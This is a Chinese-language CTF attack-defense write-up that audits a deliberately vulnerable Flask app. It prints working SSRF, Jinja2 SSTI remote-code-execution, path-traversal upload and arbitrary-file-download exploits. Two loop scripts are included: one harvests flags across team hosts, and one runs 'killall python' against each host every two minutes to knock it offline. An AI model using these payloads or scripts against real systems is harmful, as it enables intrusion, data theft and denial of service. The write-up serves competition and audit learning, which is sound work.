CTF线下赛AWD代码审计—flasky

前记

周末无聊,恰逢AWD线下赛在即,于是翻出了曾经的AWD源码,考虑到python比较薄弱,于是准备详细分析一波,题目是flask框架写的,洞还挺多的XD

代码结构

首先一个框架写出的代码量肯定很大,我们必须浓缩且重点分析,才能发现问题,所以了解框架结构十分重要
首先看一下结构

app文件夹
migrations文件夹
tests文件夹
config.py
manage.py
data-dev.sqlite

还是老生常谈的问题,我们重点审计目标应该在app文件夹,因为它是放置应用程序的文件夹
而app文件夹目录下

api_1_0文件夹
auth文件夹
main文件夹
static文件夹
templates文件夹
__init__.py
decorators.py
exceptions.py
models.py

排除api接口,静态文件夹,初始化文件等,不难看出侧重点在于

auth文件夹
main文件夹

此时逐个击破即可

auth文件夹

该文件夹下有3个文件

__init__.py
forms.py
views.py

其中

__init__.py

用于初始化,我们不做分析

forms.py

用于表单的接受处理,大致浏览问题也不是很大

views.py

其中写了大量的路由,是这个文件夹的核心,也是我们重点分析的对象。从这里入手再合适不过了。
我们先来分析一下路由的结构

@auth.before_app_request
def before_request():

@auth.route('/unconfirmed')
def unconfirmed():

@auth.route('/login', methods=['GET', 'POST'])
def login():

@auth.route('/logout')
@login_required

def register():

@auth.route('/confirm/<token>')
@login_required

@auth.route('/hello')
def hello():

@auth.route('/confirm')
@login_required
def resend_confirmation():

@auth.route('/change-password', methods=['GET', 'POST'])
@login_required
def change_password():

@auth.route('/reset', methods=['GET', 'POST'])
def password_reset_request():

@auth.route('/getimage/<url>')
def getimage(url):

@auth.route('/test', methods=['GET', 'POST'])
def test():

@auth.route('/reset/<token>', methods=['GET', 'POST'])
def password_reset(token):

@auth.route('/change-email', methods=['GET', 'POST'])
@login_required
def change_email_request():

@auth.route('/change-email/<token>')
@login_required
def change_email(token):

功能很多

1.login 登录功能
2.logout 退出登录功能
3.register 注册功能
4.confirm 确认功能
5.hello 可疑文件
6.change-password 更改密码功能
7.reset 重置功能
8.getimage 可疑文件,远程获取图片
9.test 可疑文件
10.change-email 更改邮箱

但冷静下来分析,发现可用点并不是很多

1.我们是不能访问外网的,邮箱注册功能基本是假的
2.数据使用为sqlite,并且基本上代码不存在注入,同时我们也拥有数据库,所以基本上用户相关的增删改查基本无效

所以我们的分析点并不是在register,login等操作上
这样一来,目标大幅减小为

1.hello
2.getimage
3.test

我们逐个击破

SSRF攻击点发现

这里我看到一个奇怪的路由

getimage

很像是刻意为之,代码如下

@auth.route('/getimage/<url>')
def getimage(url):
    url=base64.b64decode(url)
    img=requests.get(url)
    return img.content

首先逻辑上,我们似乎并不需要远程获取图片,这个功能十分多余。
其次在代码上,这样的代码显然存在严重问题
我们清楚的能看到

<url>

参数没有任何的过滤,这显然会导致严重的SSRF攻击
我们尝试

http://127.0.0.1/flag

然后进行编码

aHR0cDovLzEyNy4wLjAuMS9mbGFn

我们访问

http://192.168.130.157:23232/auth/getimage/aHR0cDovLzEyNy4wLjAuMS9mbGFn

发现成功读取了flag信息
注:有人说这个方法多余,flag直接在web目录下,可以直接访问。实际上当时比赛的时候,主办方的规则是让我们用目标主机请求flag主机以获取flag,而这样的ssrf刚好适用

SSRF攻击点利用脚本

于是发现后,我们迅速写了通杀脚本

#!/usr/bin/env python
#coding:utf-8
import requests as req
import base64
url = 'http://172.16.0.%s/auth/getimage/aHR0cDovLzE3Mi4xNi4wLjMwOjgwMDAvZmxhZw=='
for x in [151,156,161,166,176,181,186,191,196,201]:
    urll = url%(x)
    try:
        f = req.get(url=urll)
        print f.content
    except:
        pass

即可坐收flag
但随后我意识到,这是一个get的请求,流量可以轻松发现漏洞,所以这样获取flag的方式是非常不稳的,很快就会被大家发现,所以我又开始了新的发掘之路

SSTI攻击发现

解决了上一个可疑路由,我又发现了一个新的可疑路由

@auth.route('/test', methods=['GET', 'POST'])
def test():
    if request.method=='POST':
        if valid_login(request.form['username'],request.form['password']):
            f=open('/tmp/'+request.form['username'],'w+')
            f.write(request.form['x'])
            f.close()
            f=open('/tmp/'+request.form['username'],'r')
            txt=f.read()
            template = Template(txt)
            return template.render()
    else:
        flash('just a test')
        return redirect(url_for('auth.login'))

为什么莫名其妙会留了个test路由?只是为了测试吗?我迫不及待的进行审计
随后可以迅速的发现问题,首先是判断检测

if request.method=='POST':
    ...
else:
    flash('just a test')
    return redirect(url_for('auth.login'))

可以看出必须用POST方式
然后是下一个条件检测

if valid_login(request.form['username'],request.form['password'])

我们跟进这个检测函数valid_login()

def valid_login(username,password):
    if username==base64.b64decode(password):
        return True
    else:
        return False

很明显,这是出题人瞎写的检测,只需要username和password解base64的值相等即可
然后我们看下面的操作

f=open('/tmp/'+request.form['username'],'w+')
f.write(request.form['x'])
f.close()
f=open('/tmp/'+request.form['username'],'r')
txt=f.read()
template = Template(txt)
return template.render()

后续操作会在

/tmp

目录下创建一个以我们输入username为文件名的文件,然后将x参数的值写入该文件
然后再打开这个文件,再进行模板渲染
这就会引起严重的问题,因为渲染的内容,是我们随意控制的
我们不妨本地测试一下

root@ubuntu:/var/www/html# python
Python 2.7.12 (default, Dec  4 2017, 14:50:18) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> [c for c in [].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
1.tar.gz  flag    flasky    index.php  QWBflask  test

而这里会渲染我们写入的内容,所以我们构造

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('ls /') }}
{% endif %}
{% endfor %}

我们进行url编码

%7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%0a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%20%3d%3d%20%27%63%61%74%63%68%5f%77%61%72%6e%69%6e%67%73%27%20%25%7d%0a%7b%7b%63%2e%5f%5f%69%6e%69%74%5f%5f%2e%66%75%6e%63%5f%67%6c%6f%62%61%6c%73%5b%27%6c%69%6e%65%63%61%63%68%65%27%5d%2e%5f%5f%64%69%63%74%5f%5f%5b%27%6f%73%27%5d%2e%73%79%73%74%65%6d%28%27%6c%73%20%2f%27%29%20%7d%7d%0a%7b%25%20%65%6e%64%69%66%20%25%7d%0a%7b%25%20%65%6e%64%66%6f%72%20%25%7d

并构造payload

x=%7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%0a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%20%3d%3d%20%27%63%61%74%63%68%5f%77%61%72%6e%69%6e%67%73%27%20%25%7d%0a%7b%7b%63%2e%5f%5f%69%6e%69%74%5f%5f%2e%66%75%6e%63%5f%67%6c%6f%62%61%6c%73%5b%27%6c%69%6e%65%63%61%63%68%65%27%5d%2e%5f%5f%64%69%63%74%5f%5f%5b%27%6f%73%27%5d%2e%73%79%73%74%65%6d%28%27%6c%73%20%2f%27%29%20%7d%7d%0a%7b%25%20%65%6e%64%69%66%20%25%7d%0a%7b%25%20%65%6e%64%66%6f%72%20%25%7d
&username=sky
&password=c2t5

然后我们可以看一下

192.168.130.1 - - [15/Apr/2018 00:20:51] "POST /auth/test HTTP/1.1" 200 -
bin    etc           lib       mnt     run   sys  vmlinuz
boot   home           lib64       opt     sbin  tmp  vmlinuz.old
cdrom  initrd.img      lost+found  proc  snap  usr
dev    initrd.img.old  media       root  srv   var

发现命令在服务器上执行成功

SSTI攻击点利用脚本

发现可以命令执行,我们马上想到反弹shell,但是这样未免过于繁琐
后来队友想出了更加XD的思路

killall python

因为主办方没有说不能这样使目标宕机
于是我们尝试

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('killall python') }}
{% endif %}
{% endfor %}

我们执行

x=%7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%0a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%20%3d%3d%20%27%63%61%74%63%68%5f%77%61%72%6e%69%6e%67%73%27%20%25%7d%0a%7b%7b%63%2e%5f%5f%69%6e%69%74%5f%5f%2e%66%75%6e%63%5f%67%6c%6f%62%61%6c%73%5b%27%6c%69%6e%65%63%61%63%68%65%27%5d%2e%5f%5f%64%69%63%74%5f%5f%5b%27%6f%73%27%5d%2e%73%79%73%74%65%6d%28%27%6b%69%6c%6c%61%6c%6c%20%70%79%74%68%6f%6e%27%29%20%7d%7d%0a%7b%25%20%65%6e%64%69%66%20%25%7d%0a%7b%25%20%65%6e%64%66%6f%72%20%25%7d&username=sky&password=c2t5

目标机器瞬间宕机
这样快捷的操作,分值显然高于flag的得分,要知道,一台机子宕机是100分,而一个flag仅仅25分,而当时的check,竟然是和flag发放一样,5分钟一轮,这样的宕机方法瞬间给我们带来了巨大收益
我们迅速写出了攻击脚本

#!/usr/bin/env python
#coding:utf-8
import requests as req
import base64
import time
url = 'http://172.16.0.%s/auth/test'
payload = '%7b%25%20%66%6f%72%20%63%20%69%6e%20%5b%5d%2e%5f%5f%63%6c%61%73%73%5f%5f%2e%5f%5f%62%61%73%65%5f%5f%2e%5f%5f%73%75%62%63%6c%61%73%73%65%73%5f%5f%28%29%20%25%7d%0a%7b%25%20%69%66%20%63%2e%5f%5f%6e%61%6d%65%5f%5f%20%3d%3d%20%27%63%61%74%63%68%5f%77%61%72%6e%69%6e%67%73%27%20%25%7d%0a%7b%7b%63%2e%5f%5f%69%6e%69%74%5f%5f%2e%66%75%6e%63%5f%67%6c%6f%62%61%6c%73%5b%27%6c%69%6e%65%63%61%63%68%65%27%5d%2e%5f%5f%64%69%63%74%5f%5f%5b%27%6f%73%27%5d%2e%73%79%73%74%65%6d%28%27%6b%69%6c%6c%61%6c%6c%20%70%79%74%68%6f%6e%27%29%20%7d%7d%0a%7b%25%20%65%6e%64%69%66%20%25%7d%0a%7b%25%20%65%6e%64%66%6f%72%20%25%7d'
data = {
    'x':payload,,
    'username':'sky',
    'password':'c2t5'
}
while True:
    for i in [151,156,161,166,176,181,186,191,196,201]:
        urll = url%(i)
        try:
            f = req.post(url=urll,data=data)
            print url1,"is down!"
        except:
            pass
    time.sleep(120)

SSTI再研究

但此时我们并不能安于现状,我们继续审计漏洞
我们回顾一下,剩下还未被研究的可疑路由只剩一个

hello

所以我的目标一下落在了hello这个奇怪路由上

@auth.route('/hello')
def hello():
    html=open('/var/www/html/flasky/app/templates/test.txt','r')
    template = Template(html.read())
    return template.render()

这个路由会渲染

/var/www/html/flasky/app/templates/

目录下的test.txt文件,但是目前这个文件夹下的test.txt是一个正经的文件,我们需要一个任意文件写入,或者上传的点,这个点我们先mark下来!后续会进行利用

main文件夹

该文件夹下有4个文件

__init__.py
errors.py
forms.py
views.py

其中

__init__.py

用于初始化

errors.py

用于处理403,404,500等状态

forms.py

用于表单的接受处理,同样几乎不存在问题

views.py

同样是路由,也是核心,有了上一个文件夹的经验,我们用同样的方法进行分析

def allowed_file(filename):

@main.after_app_request
def after_request(response):

@main.route('/shutdown')
def server_shutdown():

@main.route('/', methods=['GET', 'POST'])
def index():

@main.route('/user/<username>')
def user(username):

@main.route('/edit-profile', methods=['GET', 'POST'])
@login_required
def edit_profile():

@main.route('/edit-profile/<int:id>', methods=['GET', 'POST'])
@login_required
@admin_required
def edit_profile_admin(id):

@main.route('/post/<int:id>', methods=['GET', 'POST'])
def post(id):

@main.route('/upload', methods=['GET', 'POST'])
@login_required
def upload():

@main.route('/edit/<int:id>', methods=['GET', 'POST'])
@login_required
def edit(id):

@main.route('/download/<filename>')
@login_required
def download(filename):

@main.route('/follow/<username>')
@login_required
@permission_required(Permission.FOLLOW)
def follow(username):

@main.route('/unfollow/<username>')
@login_required
@permission_required(Permission.FOLLOW)
def unfollow(username):

@main.route('/followers/<username>')
def followers(username):

@main.route('/followed-by/<username>')
def followed_by(username):

@main.route('/all')
@login_required
def show_all():

@main.route('/followed')
@login_required
def show_followed():

@main.route('/moderate')
@login_required
@permission_required(Permission.MODERATE_COMMENTS)
def moderate():

@main.route('/moderate/enable/<int:id>')
@login_required
@permission_required(Permission.MODERATE_COMMENTS)
def moderate_enable(id):

@main.route('/moderate/disable/<int:id>')
@login_required
@permission_required(Permission.MODERATE_COMMENTS)
def moderate_disable(id):

这里不难看出,大部分都是需要登录后的操作,因为这里我们还没有涉及登录,所以我们先看无需登录的路由

@main.after_app_request
def after_request(response):

@main.route('/shutdown')
def server_shutdown():

@main.route('/', methods=['GET', 'POST'])
def index():

@main.route('/user/<username>')
def user(username):

@main.route('/post/<int:id>', methods=['GET', 'POST'])
def post(id):

@main.route('/followers/<username>')
def followers(username):

@main.route('/followed-by/<username>')
def followed_by(username):

依次检查过去,除了shutdown()这个看起来就很可疑的路由外,其他的基本不存在问题。所以我们的重心来到shutdown()的分析

超坑的shutdown()

我们不难发现一个奇怪的路由

@main.route('/shutdown')
def server_shutdown():
    if not current_app.testing:
        abort(404)
    shutdown = request.environ.get('werkzeug.server.shutdown')
    if not shutdown:
        abort(500)
    shutdown()
    return 'Shutting down...'

一开始我以为这个访问之后就会使服务宕机
但是测试了N久,发现都是抛出404
后面我跟了一下这个

current_app.testing

跟踪tesing

testing = ConfigAttribute('TESTING')

继续跟踪ConfigAttribute()

class ConfigAttribute(object):
    """Makes an attribute forward to the config"""

    def __init__(self, name, get_converter=None):
        self.__name__ = name
        self.get_converter = get_converter

    def __get__(self, obj, type=None):
        if obj is None:
            return self
        rv = obj.config[self.__name__]
        if self.get_converter is not None:
            rv = self.get_converter(rv)
        return rv

    def __set__(self, obj, value):
        obj.config[self.__name__] = value

发现TESTING是对象,查找默认配置

 default_config = ImmutableDict({
        'DEBUG': get_debug_flag(default=False),
        'TESTING': False,
        ......
})

发现TESTING默认是False,由ConfigAttribute()传递给testing
回到之前的判断

 if not current_app.testing:
        abort(404)

不难看出判断成立,所以abort()
这里应该是出题人留的坑吧= =好像并不能使用

密码发掘

当然我们不会止步于目前的现状
因为框架中main文件夹带有大量登录的功能,为了继续发掘,我们进行密码探寻
显然数据库中存在唯一数据

username:xdctf
password_hash:pbkdf2:sha256:50000$ziAb6YfH$fa52620060a18fd86baf6b3b7f797cbcb325956898077752e8c14585aa3af044

直接破解不存在可能
经过弱密码破解过了一会儿也没有结果
最后我们选择直接尝试题目最开始的服务器初始密码
没想到阴差阳错登录成功
下面我们来探查需要登录的功能是否存在攻击点

login之后的攻击

upload+SSTI攻击组合

想到之前的

/auth/hello

路由的方法

@auth.route('/hello')
def hello():
    html=open('/var/www/html/flasky/app/templates/test.txt','r')
    template = Template(html.read())
    return template.render()

我们只要上传test.txt到指定目录即可
此时我们看上传功能

@main.route('/upload', methods=['GET', 'POST'])
@login_required
def upload():
    if request.method == 'POST':
        file = request.files['file']
        if file and allowed_file(file.filename):
            filename = file.filename
            file.save(os.path.join(UPLOAD_FOLDER, filename))
            return 'upload success'
        else:
            return 'dont allow'
    return render_template('upload.html',pagination=False)

此时存在过滤allowed_file()
我们跟踪一下

def allowed_file(filename):
    return '.' in filename and 
           filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS

我们继续跟一下后缀白名单ALLOWED_EXTENSIONS

ALLOWED_EXTENSIONS = set(['txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif','html'])

发现txt允许上传,根本无需Bypass
我们再看上传路径

file.save(os.path.join(UPLOAD_FOLDER, filename))

跟一下UPLOAD_FOLDER

UPLOAD_FOLDER = '/tmp'

不难看出存在目录穿越问题
对于文件名只检查了后缀名,而除此之外也不存在过滤
所以我们可以构造这样的filename

../../../../../../../var/www/html/flasky/app/templates/test.txt

数据包

------WebKitFormBoundaryp48DQKUgx3itH8PS
Content-Disposition: form-data; name="file"; filename="../../../../../../../var/www/html/flasky/app/templates/test.txt"
Content-Type: text/plain

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('ls /') }}
{% endif %}
{% endfor %}
------WebKitFormBoundaryp48DQKUgx3itH8PS--

我们去触发模板渲染
不难看到

bin    dev   initrd.img      lib64     mnt   root  snap  tmp    vmlinuz
boot   etc   initrd.img.old  lost+found  opt   run   srv   usr    vmlinuz.old
cdrom  home  lib         media     proc  sbin  sys   var
192.168.130.1 - - [15/Apr/2018 05:33:59] "GET /auth/hello HTTP/1.1" 200 -

我们成功触发了SSTI攻击
此时只要效仿之前的SSTI打法即可

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{{c.__init__.func_globals['linecache'].__dict__['os'].system('killall python') }}
{% endif %}
{% endfor %}

通杀宕机,稳坐拿分XD
但是这样的方法也有些鸡肋
毕竟登录+上传才可以触发
通杀脚本想打20台机子,比较麻烦,还得挨个尝试默认密码登录获取session
再模拟上传,再触发渲染导致攻击,所以这里的通杀脚本就不赘述了。

任意文件下载

@main.route('/download/<filename>')
@login_required
def download(filename):
    filename=base64.b64decode(filename)
    f=open(filename,'r')
    return f.read()

上传过后自然想到的是下载,这里的下载也显然是毫无过滤的
不难看出只需要构造

/var/www/html/flag

再经过base64

L3Zhci93d3cvaHRtbC9mbGFn

访问

/download/L3Zhci93d3cvaHRtbC9mbGFn

即可下载flag文件

鸡肋鸡肋

但是比较痛苦的一点是
登录后打击需要满足多个条件:

1.你的对手没有发现数据库中留下的用户默认密码为服务器密码
2.你的对手没有更改默认密码

同时,即便你这样做到了登录,并偷偷修改了对手的默认用户密码,一旦对手发现了这一点
他们可以直接操纵数据库强行更改密码。这样你也无可奈何。毕竟我们没有邮箱注册的方法。
除非我们能够迅速操作并留下不死马

总结

总得来看,这次的漏洞点还算都比较明显,应该出题人是尽责自己纯手写的代码了。当然在现场比赛的时候,静心审计代码并且快速利用还是有些困难的。希望自己能变的越来越好吧~
当然有大师傅们有什么奇淫技巧也可以和我多多交流XD~

(完)